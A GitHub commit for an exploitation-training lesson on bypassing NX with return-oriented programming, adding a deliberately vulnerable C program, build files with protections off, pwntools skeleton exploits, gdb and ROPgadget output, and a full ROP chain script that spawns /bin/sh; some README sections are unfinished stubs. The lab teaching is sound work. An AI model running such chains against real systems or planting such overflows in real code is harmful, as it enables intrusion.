Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
16 changed files
with
411 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -3,3 +3,4 @@ | |
ubuntu-xenial-16.04-cloudimg-console.log | ||
.gdb_history | ||
peda-*.txt | ||
core |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
all: 1_staticnx | ||
|
||
1_staticnx: | ||
gcc -m32 -fno-stack-protector -static -znoexecstack -o ./build/1_staticnx ./src/1_staticnx.c |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,4 +1,194 @@ | ||
# Bypassing NX with Return Oriented Programming | ||
|
||
<attack statically linked binaries and libc to generate chains with ropper> | ||
2 binaries | ||
Since it is assumed that all participants have the gone through the introductory | ||
video on return oriented programming set out in the pre-requisites, we will jump | ||
straight into developing our exploits. If you are not clear on the basics of | ||
ROP, please revisit the video. | ||
|
||
## Enabling NX | ||
|
||
Let's start increasing protections on the binaries we play with. We can start | ||
simple by only enabling the NX protection on the binaries we compile. For this | ||
section we will take a look at the following binary compiled from the following | ||
[source code][1]. | ||
|
||
```c | ||
#include <stdlib.h> | ||
#include <stdio.h> | ||
#include <string.h> | ||
#include <stdint.h> | ||
#include <unistd.h> | ||
|
||
void vuln() { | ||
char buffer[128]; | ||
char * second_buffer; | ||
uint32_t length = 0; | ||
puts("Reading from STDIN"); | ||
read(0, buffer, 1024); | ||
|
||
if (strcmp(buffer, "Cool Input") == 0) { | ||
puts("What a cool string."); | ||
} | ||
length = strlen(buffer); | ||
if (length == 42) { | ||
puts("LUE"); | ||
} | ||
second_buffer = malloc(length); | ||
strncpy(second_buffer, buffer, length); | ||
} | ||
|
||
int main() { | ||
setvbuf(stdin, NULL, _IONBF, 0); | ||
setvbuf(stdout, NULL, _IONBF, 0); | ||
|
||
puts("This is a big vulnerable example!"); | ||
printf("I can print many things: %x, %s, %d\n", 0xdeadbeef, "Test String", | ||
42); | ||
write(1, "Writing to STDOUT\n", 18); | ||
vuln(); | ||
} | ||
|
||
``` | ||
|
||
Since the [binary][2] is not big enough to give us a decent number of ROP | ||
gadgets, we will cheat a bit and compile the binary as a statically linked ELF. | ||
This should include library code in the final executable and bulk up the size of | ||
the binary. We also mark the writable regions of memory as non-executable. | ||
|
||
```shell | ||
gcc -m32 -fno-stack-protector -static -znoexecstack -o ./build/1_staticnx ./src/1_staticnx.c | ||
``` | ||
|
||
We can verify that the binary has the NX protection enabled by using the | ||
checksec script. We can also check that the file is statically compiled with | ||
file. | ||
|
||
```shell | ||
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ checksec 1_staticnx | ||
[*] '/vagrant/lessons/6_bypass_nx_rop/build/1_staticnx' | ||
Arch: i386-32-little | ||
RELRO: Partial RELRO | ||
Stack: No canary found | ||
NX: NX enabled | ||
PIE: No PIE | ||
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ file 1_staticnx | ||
1_staticnx: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=18a84fc7499b620b7453b9d37d7ba97dc356d7b2, not stripped | ||
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ | ||
``` | ||
|
||
## Obtaining EIP Control | ||
|
||
First of all, we need to determine the offsets for EIP control. For the sake of | ||
brevity, I will use the offset of 148 bytes. When you follow along in the | ||
lesson, please do try obtaining the offset yourself. A rough skeleton [exploit | ||
script][2] is given as follows: | ||
|
||
```python | ||
#!/usr/bin/python | ||
|
||
from pwn import * | ||
|
||
def main(): | ||
# Start the process | ||
p = process("../build/1_staticnx") | ||
|
||
# Craft the payload | ||
payload = "A"*148 + p32(0xdeadc0de) | ||
payload = payload.ljust(1000, "\x00") | ||
|
||
# Print the process id | ||
raw_input(str(p.proc.pid)) | ||
|
||
# Send the payload | ||
p.send(payload) | ||
|
||
# Transfer interaction to the user | ||
p.interactive() | ||
|
||
if __name__ == '__main__': | ||
main() | ||
``` | ||
|
||
Running the script and attach gdb to the process allows us to verify that the | ||
EIP control works. | ||
|
||
```shell | ||
[----------------------------------registers-----------------------------------] | ||
EAX: 0x80f15f8 ('A' <repeats 128 times>, "\370\025\017\b\230") | ||
EBX: 0x80481b0 (<_init>: push ebx) | ||
ECX: 0x10 | ||
EDX: 0x0 | ||
ESI: 0x80ee00c --> 0x8069c20 (<__strcpy_sse2>: mov edx,DWORD PTR [esp+0x4]) | ||
EDI: 0x3d ('=') | ||
EBP: 0x41414141 ('AAAA') | ||
ESP: 0xffffd5f0 --> 0x0 | ||
EIP: 0xdeadc0de | ||
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) | ||
[-------------------------------------code-------------------------------------] | ||
Invalid $PC address: 0xdeadc0de | ||
[------------------------------------stack-------------------------------------] | ||
0000| 0xffffd5f0 --> 0x0 | ||
0004| 0xffffd5f4 --> 0x0 | ||
0008| 0xffffd5f8 --> 0x0 | ||
0012| 0xffffd5fc --> 0x0 | ||
0016| 0xffffd600 --> 0x0 | ||
0020| 0xffffd604 --> 0x0 | ||
0024| 0xffffd608 --> 0x0 | ||
0028| 0xffffd60c --> 0x0 | ||
[------------------------------------------------------------------------------] | ||
Legend: code, data, rodata, value | ||
Stopped reason: SIGSEGV | ||
0xdeadc0de in ?? () | ||
gdb-peda$ | ||
``` | ||
|
||
## Code Gadgets | ||
|
||
Now, let's take a step back and think about how to proceed from this point. We | ||
cannot use the previous strategy of placing shellcode on the stack and jumping | ||
to it because the stack is now non-executable. One possible technique we can use | ||
is to reuse existing code in the binary. | ||
|
||
If you have gone through the pre-requisite watching, you may realise that these | ||
snippets of useful code sequences that end in `ret` instructions are useful to | ||
construct a ROP chain. Some of these sequences might look like the following: | ||
|
||
```shell | ||
0x0804f065 : pop esi ; pop ebp ; ret | ||
``` | ||
|
||
These are called gadgets. We can automate searching for these gadgets using a | ||
tool called `ROPgadget`. | ||
|
||
```shell | ||
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ROPgadget --binary 1_staticnx | ||
Gadgets information | ||
============================================================ | ||
0x080add78 : aaa ; add esp, 4 ; pop ebx ; pop esi ; ret | ||
0x080706c8 : aaa ; lea esp, dword ptr [ebp - 0xc] ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret | ||
0x080bbca9 : aaa ; push 1 ; push 1 ; call eax | ||
... snip ... | ||
0x08091a7c : xor esi, esi ; ret 0xf01 | ||
|
||
Unique gadgets found: 12307 | ||
``` | ||
|
||
Now, some combination of a subset of these 12307 gadgets should surely yield us | ||
a shell. Before we start mixing and matching, lets take an aside to discuss | ||
Linux syscalls. | ||
|
||
## Linux Syscalls | ||
|
||
talk about | ||
http://syscalls.kernelgrok.com/ | ||
int 0x80 | ||
|
||
## Generating the ROP Chain | ||
|
||
## Exercises | ||
|
||
### 6.1 Using Ropper to Generate ROP Chains | ||
|
||
[1]: ./src/1_staticnx.c | ||
[2]: ./build/1_staticnx | ||
[3]: ./scripts/1_skeleton.py |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
#!/usr/bin/python | ||
|
||
from pwn import * | ||
|
||
def main(): | ||
# Start the process | ||
p = process("../build/1_staticnx") | ||
|
||
# Craft the payload | ||
payload = "A"*148 + p32(0xdeadc0de) | ||
payload = payload.ljust(1000, "\x00") | ||
|
||
# Print the process id | ||
raw_input(str(p.proc.pid)) | ||
|
||
# Send the payload | ||
p.send(payload) | ||
|
||
# Transfer interaction to the user | ||
p.interactive() | ||
|
||
if __name__ == '__main__': | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,59 @@ | ||
#!/usr/bin/python | ||
|
||
from pwn import * | ||
|
||
from struct import pack | ||
|
||
# Padding goes here | ||
rop = '' | ||
|
||
rop += pack('<I', 0x0807299a) # pop edx ; ret | ||
rop += pack('<I', 0x080ee060) # @ .data | ||
rop += pack('<I', 0x080bbb46) # pop eax ; ret | ||
rop += '/bin' | ||
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret | ||
rop += pack('<I', 0x0807299a) # pop edx ; ret | ||
rop += pack('<I', 0x080ee064) # @ .data + 4 | ||
rop += pack('<I', 0x080bbb46) # pop eax ; ret | ||
rop += '//sh' | ||
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret | ||
rop += pack('<I', 0x0807299a) # pop edx ; ret | ||
rop += pack('<I', 0x080ee068) # @ .data + 8 | ||
rop += pack('<I', 0x080493e3) # xor eax, eax ; ret | ||
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret | ||
rop += pack('<I', 0x080481d1) # pop ebx ; ret | ||
rop += pack('<I', 0x080ee060) # @ .data | ||
rop += pack('<I', 0x080e2fc9) # pop ecx ; ret | ||
rop += pack('<I', 0x080ee068) # @ .data + 8 | ||
rop += pack('<I', 0x0807299a) # pop edx ; ret | ||
rop += pack('<I', 0x080ee068) # @ .data + 8 | ||
rop += pack('<I', 0x080493e3) # xor eax, eax ; ret | ||
rop += pack('<I', 0x0807e1df) # inc eax ; ret | ||
rop += pack('<I', 0x0807e1df) # inc eax ; ret | ||
rop += pack('<I', 0x0807e1df) # inc eax ; ret | ||
rop += pack('<I', 0x0807e1df) # inc eax ; ret | ||
rop += pack('<I', 0x0807e1df) # inc eax ; ret | ||
rop += pack('<I', 0x0807e1df) # inc eax ; ret | ||
rop += pack('<I', 0x0807e1df) # inc eax ; ret | ||
rop += pack('<I', 0x0807e1df) # inc eax ; ret | ||
rop += pack('<I', 0x0807e1df) # inc eax ; ret | ||
rop += pack('<I', 0x0807e1df) # inc eax ; ret | ||
rop += pack('<I', 0x0807e1df) # inc eax ; ret | ||
rop += pack('<I', 0x08070605) # int 0x80 | ||
|
||
def main(): | ||
# Start the process | ||
p = process("../build/1_staticnx") | ||
|
||
# Craft the payload | ||
payload = "A"*148 + rop | ||
payload = payload.ljust(1000, "\x00") | ||
|
||
# Send the payload | ||
p.send(payload) | ||
|
||
# Transfer interaction to the user | ||
p.interactive() | ||
|
||
if __name__ == '__main__': | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
#include <stdlib.h> | ||
#include <stdio.h> | ||
#include <string.h> | ||
#include <stdint.h> | ||
#include <unistd.h> | ||
|
||
void vuln() { | ||
char buffer[128]; | ||
char * second_buffer; | ||
uint32_t length = 0; | ||
puts("Reading from STDIN"); | ||
read(0, buffer, 1024); | ||
|
||
if (strcmp(buffer, "Cool Input") == 0) { | ||
puts("What a cool string."); | ||
} | ||
length = strlen(buffer); | ||
if (length == 42) { | ||
puts("LUE"); | ||
} | ||
second_buffer = malloc(length); | ||
strncpy(second_buffer, buffer, length); | ||
} | ||
|
||
int main() { | ||
setvbuf(stdin, NULL, _IONBF, 0); | ||
setvbuf(stdout, NULL, _IONBF, 0); | ||
|
||
puts("This is a big vulnerable example!"); | ||
printf("I can print many things: %x, %s, %d\n", 0xdeadbeef, "Test String", | ||
42); | ||
write(1, "Writing to STDOUT\n", 18); | ||
vuln(); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
all: 1_reveal_addresses 2_vulnerable | ||
|
||
1_reveal_addresses: | ||
gcc -m32 -o ./build/1_reveal_addresses ./src/1_reveal_addresses.c -ldl | ||
gcc -o ./build/2_reveal_addresses64 ./src/1_reveal_addresses.c -ldl | ||
|
||
2_vulnerable: | ||
gcc -m32 -fno-stack-protector -znoexecstack -o ./build/3_vulnerable ./src/2_vulnerable.c | ||
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
#!/usr/bin/python | ||
|
||
from pwn import * | ||
|
||
def main(): | ||
# Start the process | ||
p = process("../build/3_vulnerable") | ||
|
||
# Print the pid | ||
raw_input(str(p.proc.pid)) | ||
|
||
# Craft the payload | ||
payload = "A"*76 + p32(0xdeadc0de) | ||
payload = payload.ljust(96, "\x00") | ||
|
||
# Send the payload | ||
p.send(payload) | ||
|
||
# Pass interaction to the user | ||
p.interactive() | ||
|
||
if __name__ == "__main__": | ||
main() |
Oops, something went wrong.